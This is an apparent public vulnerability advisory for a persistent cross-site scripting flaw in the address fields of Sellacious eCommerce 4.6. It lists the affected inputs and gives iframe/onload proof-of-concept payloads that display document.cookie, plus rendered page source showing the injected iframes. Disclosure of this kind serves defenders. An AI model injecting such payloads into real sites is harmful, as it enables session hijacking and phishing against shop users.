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Sellacious eCommerce 4.6 - Persistent Cross-Site Scripting



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# Exploit Title: Sellacious eCommerce 4.6 - Persistent Cross-Site Scripting
# Exploit Author: gurbanli
# Date: 2020-05-13
# Vendor Homepage: https://www.sellacious.com
# Version: 4.6
# Software Link:  https://www.sellacious.com/free-open-source-ecommerce-software

Document Title:
Sellacious eCommerce - Multiple Persistent Vulnerabilities

References (Source):

Common Vulnerability Scoring System:

Product & Service Introduction:

Vulnerability Disclosure Timeline:
2020-05-08: Public Disclosure (Vulnerability Laboratory)

Technical Details & Description:
A persistent input validation web vulnerability has been discovered in
the official Sellacious eCommerce Shop CMS (2020 Q1).
The vulnerability allows remote attackers to inject own malicious script
codes with persistent attack vector to compromise
browser to web-application requests from the application-side.

The cross site web vulnerabilities are located in the all the adress
input fields of the `Manage Your Addresses` module.
Remote attackers are able to register a low privilege user account to
inject own malicious script code to the adress
information page. The execution of the script code occurs each time the
adress information is used in the web ui of
the ecommerce application. The request method to inject is POST and the
attack vector is persistent on the application-side.

Successful exploitation of the vulnerabilities results in session
hijacking, persistent phishing attacks, persistent
external redirects to malicious source and persistent manipulation of
affected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Manage Your Addresses

Vulnerable Input(s):
[+] Full name
[+] First name
[+] Middle name
[+] Last name
[+] Company
[+] PO Box
[+] Address
[+] Landmark

[+] index.php/manage-your-addresses
[+] Backend user adress information listing

Proof of Concept (PoC):
The persistent input validation web vulnerabilities can be exploited by
remote attackers with user account and low user interaction.
For security demonstration or to reproduce the web vulnerability follow
the provided information and steps below to continue.

PoC: Exploitation
<iframe src="evil.source" onload=alert(document.cookie)>
<iframe src="evil.source" onload=alert(document.domain)>

PoC: Vulnerable Source
<div class="addresses-container">
<div class="address-heading">
<h2>Your addresses
<a href="#address-form-0" role="button" data-toggle="ctech-modal"
class="ctech-mb-3 btn-add-address ctech-float-right ctech-text-primary">
<i class="fa fa-plus"></i> <span class="add-address-text">Add New
<div id="addresses" class="cart-aio ctech-text-center">
<div id="address-editor">
<ul id="address-items" data-original-title="" title=""> <li
class="address-item" id="address-item-9"> <div class="ctech-float-right
<button type="button" class="ctech-btn ctech-btn-small ctech-btn-default
hasTooltip remove-address" data-placement="bottom" data-id="9" title=""
data-original-title="Delete"><i class="fa fa-trash-alt"></i></button> <a
href="#address-form-9" role="button" data-toggle="ctech-modal"
class="ctech-btn ctech-btn-small ctech-btn-default hasTooltip" title=""
data-original-title="Edit"><i class="fa fa-edit"></i></a> </div>
<div class="address-content"> <span class="address_name">>"<iframe
src="evil.source"></span> <span class="address_company">>"<iframe
<span class="address_po_box">PO #: >"<iframe src="evil.source"></span>
<span class="address_address has-comma">>"<iframe src="evil.source"></span>
<span class="address_landmark has-comma">>"<iframe
src="evil.source"></span> <span class="address_country">United
<div class="cart_address_box w100p"> <div class="cart_address_buttons">
</div> </div> </div> </li> <li class="address-item odd-address-item">
<a href="#address-form-0" role="button" data-toggle="ctech-modal"
class="btn-new-address"><i class="fa fa-plus"></i></a> </li>
<div class="ctech-wrapper">
</div><div class="ctech-clearfix"></div>
</div><div class="ctech-clearfix"></div>

Credits & Authors:
Vulnerability-Lab -
Benjamin Kunz Mejri -

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